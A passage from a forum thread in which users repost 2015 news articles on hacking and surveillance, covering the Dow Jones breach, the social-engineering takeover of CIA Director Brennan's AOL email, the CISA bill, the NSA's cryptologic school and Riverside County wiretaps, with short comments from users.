Zuckerberg, of course, has a business interest in increasing the Internet's user base -- and Facebook users. But he has said he's deeply committed to helping lift people out of poverty, which he says can be helped by Internet access.

"It's not all altruism," Zuckerberg said, according to The New York Times. “We all benefit when we are more connected.”

The project to provide Internet access to refugee camps appears to be in the early stages. A Facebook spokesperson declined to elaborate in an email to The Huffington Post.

54 sec vid at link
Title: Re: they know what you are doing
Post by: space otter on October 16, 2015, 07:29:00 pm


well the Chinese and now the Russians.. and it seems others in the u.s. hacking the u.s.
doesn't anyone else get hacked..lol
and why do we only hear about it a year or so later...geeeeeeeeeezeeeeeee


http://www.bloomberg.com/news/articles/2015-10-16/russian-hackers-of-dow-jones-said-to-have-sought-trading-tips


by
Michael Riley
 Jordan Robertson
 Keri Geiger
 October 16, 2015 — 2:20 PM EDT
Updated on October 16, 2015 — 4:33 PM EDT



Russian Hackers of Dow Jones Said to Have Sought Trading Tips



Russian Hacker Group Infiltrated Dow Jones Servers
 
FBI, Secret Service and SEC said to be probing incursion

Hacking investigation said to have begun at least a year ago


A group of Russian hackers infiltrated the servers of Dow Jones & Co., owner of the Wall Street Journal and several other news publications, and stole information to trade on before it became public, according to four people familiar with the matter.

The Federal Bureau of Investigation, Secret Service and the Securities and Exchange Commission are leading an investigation of the infiltration, according to the people. The probe began at least a year ago, one of them said.

Dow Jones, in a statement, said: “To the best of our knowledge, we have received no information from the authorities about any such alleged matter, and we are looking into whether there is any truth whatsoever to this report by a competitor news organization.”




The breach is described by the people familiar with it as far more serious than a lower-grade intrusion disclosed a week ago by Dow Jones, a unit of Rupert Murdoch’s News Corp. The company said last week that it is working with a cybersecurity firm and law enforcement after learning that hackers had sought contact and payment information of about 3,500 customers.

It is unclear if the incursions are related. It is also unclear whether the company’s news-gathering operations were affected in the insider-trading matter. Two of the people familiar with the investigation said the hackers sought information including stories being prepared for publication.

Kelly Langmesser, a spokeswoman for the FBI New York office, confirmed the office is investigating a breach at Dow Jones but declined to comment further. Jim Margolin, a spokesman for the U.S. Attorney’s Office for the Southern District of New York, declined to comment, as did spokesmen for the Secret Service and the SEC.

The White House was briefed on the investigation and the FBI and SEC have spent months trying to determine exactly how the hackers could profit from what they took, consulting financial and market experts among other specialists, the people said.




Information embargoed by companies and the government for release at a later time could be valuable to traders looking to gain an edge over other market participants, as could stories being prepared on topics like mergers and acquisitions that move stock prices.

Dow Jones publishes the Wall Street Journal and Barron’s and provides information through a number of services including Dow Jones Newswires. Bloomberg LP, the parent of Bloomberg News, competes with News Corp. in providing financial news and services.

New Front

The hack investigation shows how quickly law enforcers are shifting to a new front in insider trading: cyberspace. Market-moving, nonpublic information used to trade hands in secret meetings. Hackers are now stealing sensitive information and selling it to traders. This new vulnerability in the financial markets is challenging law-enforcement officials who are trying to keep pace with cyber-criminals’ rapidly evolving moneymaking schemes.

For would-be inside traders, business journalists and data providers are a rich target. Potentially market-moving scoops often develop in-house for days or weeks, promising intruders a long pre-publication window to mine information and execute trades. Data being held for public release at a specified time can also be a gold mine in markets where the profitably of a trade is determined in a fraction of a second.

Dow Jones says in its annual report that its Factiva service provides global business content to about 1.1 million active users. “More than 4,000 sources make information available via Factiva on or before the date of publication by the source,” according to the report. Dow Jones Newswires publishes more than 16,000 news items each day to financial professionals and investors.

Hacking for Tips

U.S. authorities are ramping up their pursuit of hackers after a series of high-profile attacks on corporations.

In August, federal authorities made several arrests in what they called a years-long scheme that fused insider trading and hacking. In that matter, Russian-speaking hackers working from Ukraine were indicted along with traders for siphoning more than 150,000 press releases, including corporate earnings containing data that could be used to anticipate stock market moves, prosecutors said.

Those hackers broke into the servers of PRNewswire Association LLC, Marketwired and Business Wire, a unit of Warren Buffett’s Berkshire Hathaway Inc., over a five-year period, according to prosecutors. The group allegedly made more than $100 million in trades using unreleased earnings releases of companies such as Panera Bread Co., Boeing Co., Caterpillar Inc. and Oracle Corp., through retail brokerage accounts.

For more, read this next:

QuickTake: Cybersecurity

Information companies are regularly bombarded by hackers. When he disclosed the customer-data breach on Oct. 9, Dow Jones Chief Executive Officer William Lewis said the incursion was part of a “broader campaign involving a number of other victim companies.” Dow Jones learned of the hack from law enforcement officials, Lewis wrote, saying it had determined its system was breached at times between August 2012 to July 2015 by hackers whose goal appeared to be gathering contact information for customers so it could send them fraudulent solicitations. The company said it had no direct evidence that information was stolen.






Title: Re: they know what you are doing
Post by: space otter on October 20, 2015, 02:59:15 pm


ah yes  we are all so better off with everything on computers....sigh


http://www.msn.com/en-us/news/itinsider/teen-who-hacked-cia-director%e2%80%99s-email-tells-how-he-did-it/ar-AAfFmTh?li=AAa0dzB

Wired
Kim Zetter
6 hrs ago


Teen Who Hacked CIA Director’s Email Tells How He Did It


[youtube]http://www.youtube.com/watch?v=r1XuTGSMq08[/youtube]




A hacker who claims to have broken into the AOL account of CIA Director John Brennan says he obtained access by posing as a Verizon worker to trick another employee into revealing the spy chief’s personal information.

Using information like the four digits of Brennan’s bank card, which Verizon easily relinquished, the hacker and his associates were able to reset the password on Brennan’s AOL account repeatedly as the spy chief fought to regain control of it.

News of the hack was first reported by the New York Post after the hacker contacted the newspaper last week. The hackers described how they were able to access sensitive government documents stored as attachments in Brennan’s personal account because the spy chief had forwarded them from his work email.

The documents they accessed included the sensitive 47-page SF-86 application that Brennan had filled out to obtain his top-secret government security clearance. Millions of SF86 applications were obtained recently by hackers who broke into networks belonging to the Office of Personnel Management. The applications, which are used by the government to conduct a background check, contain a wealth of sensitive data not only about workers seeking security clearance, but also about their friends, spouses and other family members. They also include criminal history, psychological records and information about past drug use as well as potentially sensitive information about the applicant’s interactions with foreign nationals—information that can be used against those nationals in their own country.

The hacker, who says he’s under 20 years old, told WIRED that he wasn’t working alone but that he and two other people worked on the breach. He says they first did a reverse lookup of Brennan’s mobile phone number to discover that he was a Verizon customer. Then one of them posed as a Verizon technician and called the company asking for details about Brennan’s account.

“[W]e told them we work for Verizon and we have a customer on scheduled callback,” he told WIRED. The caller told Verizon that he was unable to access Verizon’s customer database on his own because “our tools were down.”

After providing the Verizon employee with a fabricated employee Vcode—a unique code the he says Verizon assigns employees—they got the information they were seeking. This included Brennan’s account number, his four-digit PIN, the backup mobile number on the account, Brennan’s AOL email address and the last four digits on his bank card.

“[A]fter getting that info, we called AOL and said we were locked out of our AOL account,” he said. “They asked security questions like the last 4 on [the bank] card and we got that from Verizon so we told them that and they reset the password.” AOL also asked for the name and phone number associated with the account, all of which the hackers had obtained from Verizon.

On October 12, they gained access to Brennan’s email account, where they read several dozen emails, some of them that Brennan had forwarded from his government work address and that contained attachments. The hacker provided WIRED with both Brenann’s AOL address and the White House work address used to forward email to that account.

Among the attachments was a spreadsheet containing names and Social Security numbers—some of them for US intelligence officials—and a letter from the Senate asking the CIA to halt its use of harsh interrogation techniques—that is, its controversial use of torture tactics.

These documents appear to come from 2009. The Associated Press has speculated that the spreadsheet might be a list of guests who were visiting the White House that year when Brennan was President Obama’s counter-terrorism adviser.

The hackers posted screenshots of some of the documents on their Twitter account, @phphax. Among the items posted were links to a file the hackers say contained portions of Brennan’s contact list as well as a log of phone calls by former CIA deputy director Avril Haines. They also posted a reduced page from the spreadsheet.

The hackers were in Brennan’s account for three days before it was disabled last Friday.



"It does not appear that any classified information was accessed" meanwhile.. pic.twitter.com/tOSlMtS3Ly
— cracka (@phphax) October 19, 2015



On October 16, the hacker Tweeted that Brennan had deleted his AOL account after they had notified him of the breach.





Well, John Brennan deleted his email because we kept jacking it LOL pic.twitter.com/1QbGblEPQz
— cracka (@phphax) October 16, 2015



The hacker told WIRED that Brennan had tried to access the account and couldn’t.

He told WIRED that Brennan re-set the password, and they hijacked it again. “[H]e took back access and we re-jacked it. That happened 3 times,” he said.

So they called Brennan’s mobile number, using VoIP, and told him he’d been hacked. The conversation was brief.

t was like ‘Hey,…. its CWA.’ He was like ‘What do you want?’ We said ‘2 trillion dollars hahhaa, just joking,'” the hacker recounted to WIRED.

Brennan, the hacker says, replied, “How much do you really want?”

They told Brennan “We just want Palestine to be free and for you to stop killing innocent people.”

In addition to Brennan’s AOL account, the hackers also broke into the Comcast account of Homeland Security Secretary Jeh Johnson.

The news of the breach, of course, comes in the midst of another email scandal involving Hillary Clinton who has been under fire for months over a private server and email account she maintained to do official work. Clinton has been accused of maintaining the server to bypass public records requests involving her government email address.

It’s unclear if Brennan was using his personal email to conduct government business or if he simply used it to occasionally store email and documents from his work account.

The hack, using social-engineering techniques to pull information from tech support, is reminiscent of the epic hack that targeted former WIRED writer Mat Honan. In that case, Apple tech support gave a hacker named Cosmo access to Honan’s iCloud account, and Amazon tech support gave him the ability to see the last four digits of Honan’s credit card number. which the hacker then used to gain access to Honan’s iCloud account, and that in turn led to the hacker obtaining access to a series of other accounts.


Title: Re: they know what you are doing
Post by: space otter on October 21, 2015, 01:49:34 pm

if anyone is the least bit interested in the e-mails..check these links out


https://wikileaks.org/cia-emails/


CIA Director John Brennan emails


Today, 21 October 2015 and over the coming days WikiLeaks is releasing documents from one of CIA chief John Brennan's non-government email accounts. Brennan used the account occasionally for several intelligence related projects.

John Brennan became the Director of the Central Intelligence Agency in March 2013, replacing General David Petraeus who was forced to step down after becoming embroiled in a classified information mishandling scandal. Brennan was made Assistant to the President for Homeland Security and Counterterrorism on the commencement of the Obama presidency in 2009--a position he held until taking up his role as CIA chief.

According to the CIA Brennan previously worked for the agency for a 25 year stretch, from 1980 to 2005.

Brennan went private in 2005-2008, founding an intelligence and analysis firm The Analysis Corp (TAC). In 2008 Brennan became a donor to Obama. The same year TAC, led by Brennan, became a security advisor to the Obama campaign and later that year to the Obama-Biden Transition Project. It is during this period many of the Obama administration's key strategic policies to China, Iran and "Af-Pak" were formulated. When Obama and Biden entered into power, Brennan was lifted up on high, resulting in his subsequent high-level national security appointments.

If you have similar official documents that have not been published yet, send them to WikiLeaks.



....................................

http://www.huffingtonpost.com/entry/john-brennan-emails-wikileaks_5627ba31e4b08589ef4a1364



Here Are John Brennan's Emails, Just Released By Wikileaks

Help us read through them, and tell us what you find.

Sam Stein
Senior Politics Editor, The Huffington Post
Posted: 10/21/2015 03:14 PM EDT | Edited: 1 hour ago


Wikileaks on Wednesday released the contents of CIA Director John Brennan’s private email account

https://wikileaks.org/cia-emails/
Title: Re: they know what you are doing
Post by: space otter on October 27, 2015, 02:01:55 pm

http://www.huffingtonpost.com/entry/senate-to-approve-controversial-cybersecurity-bill_562f7a9ae4b06317990f50db
Reuters
By Dustin Volz
Posted: 10/27/2015 09:55 AM EDT


Senate To Approve Controversial Cybersecurity Bill

Critics fear it'll give the NSA more power to snoop on everyday Americans.

WASHINGTON, Oct 27 (Reuters) - Sharing of computer data on cyber threats between the private sector and U.S. government would increase under legislation expected to win Senate approval on Tuesday despite objections of privacy advocates who fear excessive government surveillance.

Two related measures won approval in the House of Representatives earlier this year and must be reconciled with the Senate bill before final legislation goes to President Barack Obama.

Some House leaders have said the Senate language is unlikely to be accepted by the House, suggesting a conference is likely.

Civil libertarians have opposed information-sharing legislation for years, with many warning it will give the National Security Agency and other agencies more access to snoop on Americans' personal data without improving cyber defenses.

The Senate's Cybersecurity Information Sharing Act (CISA) is important to help detect and minimize cyber intrusions, according to the bill's bipartisan backers.

It would make it easier for corporations to share information about cyber attacks with each other or the government without fear of lawsuits.
After numerous failed starts, the long-stalled measure was seen as likely to win easy approval. Senators have been eager to address cyber security in the wake of recent high-profile hacks of companies such as Sony Pictures and the pilfering of troves of employee data from the federal Office of Personnel Management.

The Obama administration endorsed the Senate measure last week after the bill's sponsors worked to improve privacy protections. The White House, however, noted some remaining reservations with the bill's language.

Senate passage would represent a whiplash for digital privacy advocates buoyed earlier this year by adoption of legislation effectively terminating the NSA's bulk collection of U.S. phone metadata.



(Editing by Kevin Drawbaugh and Paul Simao)


Title: Re: they know what you are doing
Post by: zorgon on October 27, 2015, 02:04:37 pm
Just a question...

95% of Americans lead dull and mindless lives, talking about nothing of any importance on the social media sites

WHY are they so worried about the NSA snooping on stuff they post publicly on FB and Twitter anyway?

 ::)
Title: Re: they know what you are doing
Post by: zorgon on October 27, 2015, 02:05:46 pm
If the NSA didn't snoop on Pegasus members...

... how would they find out what is really going on in the world?

 :P
Title: Re: they know what you are doing
Post by: space otter on October 27, 2015, 02:06:21 pm


maybe just the idea that there really isn't any privacy.....we think we have it even though it's long gone
Title: Re: they know what you are doing
Post by: space otter on October 27, 2015, 02:06:37 pm

http://thehill.com/policy/cybersecurity/258189-senate-kills-privacy-advocates-final-effort-to-edit-cyber-bill


Senate kills privacy advocates' bid to change cyber bill

The Senate on Tuesday dismissed a last-ditch effort from privacy-minded senators to change a controversial cybersecurity bill that is quickly headed for a final vote.

The Cybersecurity Information Sharing Act (CISA) — which would encourage businesses to share more data on hackers with the government — is now expected to pass without any of the amendments desired by privacy advocates, despite a months-long campaign from a number of lawmakers.

Before the vote, Senate Minority Leader Dick Durbin (D-Ill.) told his colleagues the edits were needed to help strike the appropriate balance between ensuring security and protecting civil liberties.

"We are always going to be faced with that challenge," he said. "Are we going too far? Are we giving too much to the government? That, in fact, is the debate we have today."
But Sen. Dianne Feinstein (D-Calif.), a CISA co-sponsor, cautioned the edits would "undo the careful compromises we have made on this bill."

Many industry groups, a bipartisan group of lawmakers, and the White House argue CISA is needed to help the country better defend itself against cyberattacks. But privacy advocates criticized the bill as a surveillance measure that will simply shuttle more of Americans’ personal data to the government.

In recent days, leading CISA critic Sen. Ron Wyden (D-Ore.) made a vocal bid to win over enough votes to get through several privacy-focused amendments from himself and four other senators.

These amendments, “seek to achieve the same goal ... to reduce the unnecessary sharing of Americans’ private and personal information,” he said on the Senate floor Monday.

Wyden was pushing his own amendment that would have injected stricter requirements for companies to remove personal information from their cyber threat data before handing it to the government. The proposal fell by a 41-55 vote.

His change, he argued, would have provided CISA with “a straightforward standard that could give consumers real confidence that their privacy is actually being protected.”

As it stands now, “the message behind this bill is, when in doubt, hand it over,” Wyden added.

Feinstein shot back just before the vote Tuesday, arguing that Wyden's language would create "a very unclear requirement" for businesses.

Sen. Dean Heller (R-Nev.) offered a similar amendment that would have also raised the personal data scrubbing standard for the government.

"I believe that my amendment does strike a balance, increasing privacy, but still providing that real-time information sharing," Heller said on the Senate floor Tuesday.

Senate Intelligence Committee Chairman Richard Burr (R-N.C.), CISA's other co-sponsor, pushed back. 

"It changes [CISA] in a way that would either cause companies to choose not to participate, or it may change it in a way that delays notification to the federal government," he said.

Heller's proposal went down in a 47-49 vote.

Casting his 15,001th Senate vote, Sen. Patrick Leahy (D-Vt.) tried but failed to strip the bill of what he believes are detrimental exemptions to a vital public transparency law, the Freedom of Information Act (FOIA).

"We should not be passing legislation that weakens this critical law," Leahy insisted Monday.

Under CISA, businesses sharing data on hackers with the government would receive some protections from having the details of this information revealed through a FOIA request.

"While the bill seeks to share information about the nature of cyber threats and suggestions on how to defend networks, this information should not be made widely available to hackers and cyber criminals who could use it for their own purposes," Feinstein argued on the floor Tuesday.

The Leahy measure garnered only 37 votes.

Sen. Al Franken (D-Minn.) also failed in his effort to restrict the volume and type of data the government would receive under CISA.

His offering, which received 35 votes with 60 against, would have narrowed the definition of “cybersecurity threat” in the bill.

“These changes will help ensure that CISA’s broad authorities are not triggered in circumstances where no real cyber threats are present,” he said in a final pitch to his colleagues Monday night. “This makes the bill more privacy protective and more likely to work effectively.”

But Feinstein warned it would inject uncertainty into the bill, and possibly even stop companies from sharing vital cyber threat data.

Privacy advocates got one final bid at altering the bill Tuesday afternoon, with an amendment from Sen. Chris Coons. The Delaware Democrat wanted to add more stringent data scrubbing requirements specifically for the Department of Homeland Security (DHS), which would receive most of the cyber threat shared under CISA.

Like his fellow privacy-minded colleagues, Coons' effort fell short, receiving 41 votes.

Even though Coons didn't get his language approved, a variation of his desired changes was included in a manager’s package from the bill’s co-sponsors, Burr and Feinstein.

Their package contains nearly two dozen edits from various senators, including some of Coons’s language merged with a proposal from Sen. Tom Carper (D-Del.). That package is expected to pass Tuesday evening.

While privacy groups did urge the upper chamber to adopt each of the amendments, the alterations stood no chance of fully winning over staunch CISA supporters.

Greg Nojeim, senior counsel at the Center for Democracy & Technology, said the amendments were “important” and could have lessened the likelihood that personal data will be transferred to the government, “but at the end of the day, the world that we’ll face is one in which instead of minimizing the flow of user information to the NSA, the bill will mandate it.”

— Katie Bo Williams contributed.

— This story was updated at 4:39 p.m.
Title: Re: they know what you are doing
Post by: space otter on October 27, 2015, 02:14:34 pm


  they start with something you think you want and go on from there...sigh

https://www.youtube.com/watch?v=y07at1bU89Q

[youtube]http://www.youtube.com/watch?v=y07at1bU89Q[/youtube]
Title: Re: they know what you are doing
Post by: space otter on November 09, 2015, 03:39:39 pm

http://www.msn.com/en-us/news/us/the-nsa-school-how-the-intelligence-community-gets-smarter-secretly/ar-CC8A7Q?li=AAa0dzB
The Washington Post
Susan Svrluga
1 hr ago



The NSA school: How the intelligence community gets smarter, secretly




Leonard Reinsfelder’s wife found a note on her car as she was leaving a shopping center one day: “Have your husband give us a call. We think we could use him.”

There was a phone number, and nothing else.

So began Reinsfelder’s career at the National Cryptologic School, which functions as a sort of college for the National Security Agency and the intelligence community.

Reinsfelder, a high-school Spanish teacher with multiple graduate degrees, took the job not knowing what it would be; they couldn’t tell him until he got inside and got security clearance.

The National Cryptologic School is a school unlike any other. It’s extremely carefully guarded, for starters, with a series of checkpoints to get to class.

Some of the students’ identities are secret.

There’s no homework to take home. (It’s classified.)

No cell phones or computers can be brought inside, so the break areas have a surreal, throwback feel. There are landlines, some secure, for checking in on work. Some are not, for checking in on family.

And it has a most unusual mission: Teaching people whose jobs protecting the nation require them to stay ahead of rapidly evolving threats and technology.

The NSA has been sharply criticized in recent years for its efforts to collect all sorts of data, and it also is feared by some; it’s a flashpoint in the debate over privacy and national security.

[Federal appeals court allows NSA phone data collection to run through November]

It’s also huge — the NSA is the Washington region’s largest employer. And all those people need to keep learning.

Reinsfelder, now the commandant of the National Cryptologic School, led a celebration of its 50th year this week, reflecting on a history that mirrors that of the country, as its instructors adapted curricula to respond to a changing world.

The school plays a critical role in keeping the country safe, said Frank Cilluffo, associate vice president and director of the Center for Cyber and Homeland Security at George Washington University. In a speech marking the school’s anniversary, he talked of how much impact intelligence information has on policy decisions at the highest levels. “It is greatly and deeply appreciated.”

“You are the silent warriors, those of you in uniform as well as the civilians,” he said. “You save lives.”

The National Cryptologic School’s roots go back even further than 1965 — all the way to the American Revolution, Cilluffo argued.

“George Washington was America’s first spy master,” he said, with Washington’s men learning to intercept messages from the British soldiers, and to deceive them. “He deployed sophisticated trade craft, including ciphers and codes.”

After the war, Washington declared that intelligence was key to victory, Cilluffo said, adding that that also was true for both world wars as well.

It was after the World War II that some people realized they were in a unique job that required skills no one else had, said David Hatch, the NSA’s historian, who joined the agency as an analyst decades ago. As the NSA grew, its director realized the agency needed a more formalized training and education program for employees as disparate as soldiers not long out of high school and scholars with multiple doctorates.

They also need classes for people who are just joining the shadowy agency: NSA 101.


In the early days, there were just eight curricula. Analysts used a pencil, a sheet of paper, and a simple straight-edged tool with three holes – big circle, smaller circle, rectangle – to diagram communication networks.


The “textbooks” were heavy binders with type-written or hand-written pages on radio wave propagation, signal analysis, or languages.


The school was an early leader in computer technology, Hatch said, most of which is now obsolete.


Legendary (to insiders) cryptologists taught classes, like the man who had been a world-famous flute player until WWII made his hobby – ciphers, codes – critically important. Lambros Callimahos worked hard at being eccentric, Hatch said, wearing a beret and a Paris policeman’s cape, taking a proper British tea, encouraging his students to use snuff. He made up an entire mythical country, complete with its own history, politics, language, and dozens of crypt systems the students would have to crack. He had a portrait painted of the prime minister — who just happened to resemble Callimahos, in a resplendent military uniform. He would ask questions such as: “What is the cryptological meaning of December 16th?”

The class was incredibly difficult. A friend of Hatch’s once told him if he dropped a pencil he didn’t dare pick it up or he would have missed three cryptosystems.

Callimahos understood how serious the mission is, Hatch said. “He also knew a lot of what we do can be fun.”

Former students talked about how the classes didn’t just teach them new skills; they learned entirely new ways to think. One described his head literally throbbing by the end of the day.

The National Cryptologic School has always had to be nimble, adapting to the demands of the mission from the Cold War to Vietnam to tensions in Central America in the early 1980s — that’s when Reinsfelder was brought in to launch the school’s Spanish-language program – to the fall of the Berlin Wall to 9/11 to ISIS. Now the changes happen much more quickly.

In 2006, while the school had information technology classes, there was nothing there called “cyber.” Now it has a separate college focused on cyber security and cyber operations.

School leaders ensured that most of their more than 1,300 courses can be taught not only at their satellite campuses but online worldwide through secure connections.

They began regular meetings with their youngest employees, James Aldrich, the school’s deputy commandant, said, because they realized students were learning in constantly evolving ways. Sometimes they were learning on apps that didn’t exist a week ago.

And they have to keep thinking ahead. The school formed a partnership with Dakota State University so that employees, often young service members who joined the military straight out of high school, could earn significant academic credit toward a college degree in cyber operations. (Some classes at the National Cryptologic School have transferable academic credits, so students can continue on to degrees elsewhere. The school has been accredited by the Council on Occupational Education for 25 years; some courses are certified by the American Council on Education.)

The school works with colleges and schools across the country to encourage language programs in areas of critical need, such as Arabic, Chinese, Dari, Hindi, Persian, Farsi, Portuguese, Russian, Swahili, Turkish, Urdu, Korean. That’s how Reinsfelder found himself in a first-grade classroom in Delaware one day, listening to small children speaking Mandarin.

The NSA wants to ensure young students are getting science, technology, engineering and math skills; at a camp in California this summer, one of dozens of camps across the country, girls from low-income communities “went home with little Raspberry Pis, a $65 computer that actually works,” Reinsfelder said. They also learned how to hack drones.

And classes go on, of course, at the National Cryptologic School’s headquarters in Maryland, an old warehouse converted into an academic building with a bland uniformity inside (and an incongruous fountain out front, with a plastic duck bobbing along through the splashing water.)

One day this week, men and women in camouflage uniforms and civilian clothes passed through security, striding purposefully down identical corridors with identical gray doors.

Students?

It’s possible. It might even be probable. But that’s on a need-to-know basis.







Title: Re: they know what you are doing
Post by: space otter on November 11, 2015, 02:39:09 pm

I wonder if the Chinese will do due process with the drug guys




http://www.msn.com/en-us/news/us/justice-officials-fear-nations-biggest-wiretap-operation-may-not-be-legal/ar-CCfF61?li=AAa0dzB

USA Today
Brad Heath and Brett Kelman
2 hrs ago

Justice officials fear nation's biggest wiretap operation may not be legal
RIVERSIDE, Calif. — Federal drug agents have built a massive wiretapping operation in the Los Angeles suburbs, secretly intercepting tens of thousands of Americans’ phone calls and text messages to monitor drug traffickers across the United States despite objections from Justice Department lawyers who fear the practice may not be legal.

Nearly all of that surveillance was authorized by a single state court judge in Riverside County, who last year signed off on almost five times as many wiretaps as any other judge in the United States. The judge’s orders allowed investigators — usually from the U.S. Drug Enforcement Administration — to intercept more than 2 million conversations involving 44,000 people, federal court records show.

The eavesdropping is aimed at dismantling the drug rings that have turned Los Angeles’ eastern suburbs into what the DEA says is the nation’s busiest shipping corridor for heroin and methamphetamine. Riverside wiretaps are supposed to be tied to crime within the county, but investigators have relied on them to make arrests and seize shipments of cash and drugs as far away as New York and Virginia, sometimes concealing the surveillance in the process.

      The surveillance has raised concerns among Justice Department lawyers in Los Angeles, who have mostly refused to use the results in federal court because they have concluded the state court's eavesdropping orders are unlikely to withstand a legal challenge, current and former Justice officials said .

      “It was made very clear to the agents that if you’re going to go the state route, then best wishes, good luck and all that, but that case isn’t coming to federal court,” a former Justice Department lawyer said. The lawyer and other officials described the situation on the condition of anonymity because they were not authorized to discuss the department’s internal deliberations.

      Federal agents often prefer to seek permission to tap phones from state courts, instead of federal courts, because the process is generally faster and less demanding than seeking approval through the Justice Department. In addition, California law allows them to better conceal the identities of confidential informants they rely on to help investigate drug rings. Over the past decade, drug agents have more than tripled their use of wiretaps, mostly by using state court orders.

      Wiretaps — which allow the police to secretly monitor Americans’ communications — are among the most intrusive types of searches the police can conduct, and federal law imposes strict limits on when and how they can be used. The law requires that police use wiretaps only after they have run out of other tools to build a case.

      In Riverside, the authorities’ use of that last-ditch tool quadrupled over the past four years. Last year alone, Riverside County prosecutors and a local judge approved 624 wiretaps, far more than any other jurisdiction in the United States, according to records compiled by the federal court system. Nearly all were tied to drug investigations.

      “Those numbers — the totals, and just the size of some of those wiretaps — are huge red flags for us,” said Dave Maass, an investigative researcher for the Electronic Frontier Foundation. “When there’s this amount of secrecy it starts to raise serious concerns about accountability for electronic interceptions.”

      Because wiretap orders are sealed, there is no way to know precisely how many of them were sought by the DEA and the local officers it deputized to work on a drug task force. Some of the taps were sought by local police officers and officers in neighboring counties. Prosecutors acknowledged, however, that the drug agency plays a leading role in the wiretapping. The county's former district attorney, Paul Zellerbach, who presided over the rapid rise in wiretapping before there he left office in January, said the drug agency was “a significant player.”

      Riverside County’s new district attorney, Mike Hestrin, said he found out about the county’s wiretap numbers not long after taking office after other prosecutors approached him to suggest he look into the matter. He was concerned by what he found.

      Hestrin said in an interview that he made a “series of reforms” to how wiretaps are handled, which he said will lead to fewer taps in the future. He said he personally evaluates new wiretap requests and insists that each one now must “have a strong investigative nexus” to the county. Asked if that had been the case in previous years, Hestrin replied: “You’re going to have to extrapolate that.”

      Hestrin said prosecutors “follow the law to the letter” when seeking wiretaps, but he would not discuss the details. “This is an area of our law, an area of our law enforcement, where we can’t be totally transparent, in the same way that the federal government can’t be totally transparent about the massive intelligence operations they run,” he said.

      DEA officials said it should not come as a surprise that so much of their surveillance work happens in the area around Riverside — a vast expanse of suburbs and desert east of Los Angeles, crisscrossed by freeways that have become key shipping routes for drugs moving from Mexico to the United States and for cash making the return journey.

      “There are organizations here and we’re working these organizations and we’re trying to stay abreast of the technology and all the different ways these organizations are operating,” said Stephen Azzam, the associate special agent in charge of DEA’s Los Angeles division.

      On paper, agents' choice of state court over federal should not matter: Federal law sets a minimum standard for police to obtain a wiretap, even when they are seeking one from a state-court judge. And California courts have repeatedly said the state’s wiretaps are sufficient.

      But current and former Justice Department officials said prosecutors in Los Angeles repeatedly told the drug agency that they would not accept cases based on state-court wiretaps – and those from Riverside County in particular – because they believed the applications being approved by state judges fell short of what the federal law requires. Prosecutors were particularly concerned that the DEA was seeking state-court wiretap orders without adequately showing that it had first tried other, less intrusive, investigative techniques.

      “They’d want to bring these cases into the U.S. Attorney’s Office, and the feds would tell them no (expletive) way,” a former Justice Department official said.

      The result was that even seemingly significant drug cases stayed out of federal court.

      In December, for example, court records show DEA agents and local detectives in South Gate, Calif., near Los Angeles, used a state-court wiretap to target a man named Omar Salazar, who the DEA suspected was tied to a Mexican drug trafficking group.  Between searches of Salazar’s car and his house, officers seized $76,869.94, a gun and a cache of illegal drugs, including 36 pounds of methamphetamine and 5 pounds of heroin. Investigators found some of the drugs in a safe in Salazar’s garage, along with a box of ammunition and probation paperwork from one of his previous arrests.

      That should have been enough to build a significant federal case with a long mandatory prison sentence, but that was not what happened. Court records show the Justice Department prosecuted the $76,869.94 in a civil asset seizure case. But it did not prosecute Salazar. Instead, Salazar was booked into jail and released the same day; his lawyer, John Passanante, said he has not been charged as a result of the search. Neither the DEA nor prosecutors would explain why.

PROLIFIC WIRETAPPING

      Perhaps the only outward sign that Riverside has become America’s most wiretapped place can be found on a deserted floor of the city’s courthouse. On a recent Friday afternoon, a handful of officers in scruffy jeans and baseball caps waited there with sealed manila envelopes in their hands. After a few minutes, they disappeared inside Judge Helios Hernandez’s locked courtroom for hearings that are closed to the public.

      No judge in the United States has been so prolific in authorizing eavesdropping.

      Records compiled by the federal courts’ administrative office show Hernandez authorized 624 wiretaps that ended last year, and another 339 that ended the year before. Hernandez approved three times more taps than all of the federal judges in California combined last year, and once received more wiretap applications in a day, 17, than most courts do in a year. (The court office counts wires based on when they end, rather than when they begin, to avoid revealing ongoing investigations.) The next-closest court was in Las Vegas, where judges approved 177 wiretaps that ended last year.

      California law generally requires that each county court appoint one judge to handle wiretaps. For the past three years, that job fell to Hernandez, who was Riverside’s chief narcotics prosecutor before he became a judge. The records do not indicate how many wiretaps, if any, Hernandez turned down.

      Hernandez declined to comment through a spokesman.

      Riverside County’s presiding judge, Harold Hopp, said judges do not decide how many eavesdropping applications are submitted to them; “they have to consider each one on its merits.”

      The county's wiretap numbers are so high that even investigators who helped supervise eavesdropping there were taken aback. “This can’t be right,” said Anthony Valente, who, until 2012, commanded the Inland Crackdown Allied Task Force, which uses wiretaps to investigate drug trafficking and gangs in Southern California.

      Nearly all of Riverside’s wiretaps – about 96% – were related to drug investigations.

      Federal records show the taps that ended in 2014 cost more than $18 million. The records do not indicate who paid for them.

      The figures are based on reports that judges and prosecutors are required to submit each year to the federal courts’ administrative office. The reports include the number of wiretaps judges authorize, and the number of communications – including telephone calls, text messages and other electronic conversations – that investigators intercepted.

Those reports show the overwhelming majority of the more than 2 million communications investigators intercepted last year as a result of Riverside wiretaps had nothing to do with crime. Police are not supposed to record conversations that are not relevant to their investigations.

      DEA officials said that the agency conducts its wiretaps wherever their investigations lead them. Its Riverside field office, which covers Riverside and neighboring San Bernardino counties, was responsible for a large share of the agency’s methamphetamine and heroin last year; therefore, it’s only natural that investigators would focus there. “We don’t pick a jurisdiction. We take the enforcement action where it’s warranted and where we can do it effectively,” DEA spokesman Timothy Massino said.

Nonetheless, Hernandez approved 20 times as many wiretaps as his counterparts in San Bernardino County. DEA officials said they could not explain that difference.


Zellerbach said Riverside’s wiretaps multiplied during his tenure because prosecutors and the county’s court became more “efficient and effective” in handling surveillance applications and word spread throughout the law enforcement community, bringing still more applications. Eventually, Zellerbach said, he learned the county was among the nation’s wiretap leaders. “I thought we were doing a hell of a job,” he said.

Zellerbach said the taps yielded significant arrests and seizures. And they paid other dividends. “We liked it because in these difficult economic times, my budget was being cut, and that was a way to somewhat supplement funding for my office,” he said in an interview. Prosecutors would not say how much money they received.

Zellerbach said the operation grew under the leadership of an aggressive new lawyer, Deena Bennett, who still heads the wiretap unit today.

 Bennett, a one-time contestant on the reality show Survivor, rebuffed attempts to contact her, telling a reporter that “the fact that you have my cellphone number is really harassment, and I’m going to report it.”

WIDESPREAD ARRESTS AND SEIZURES

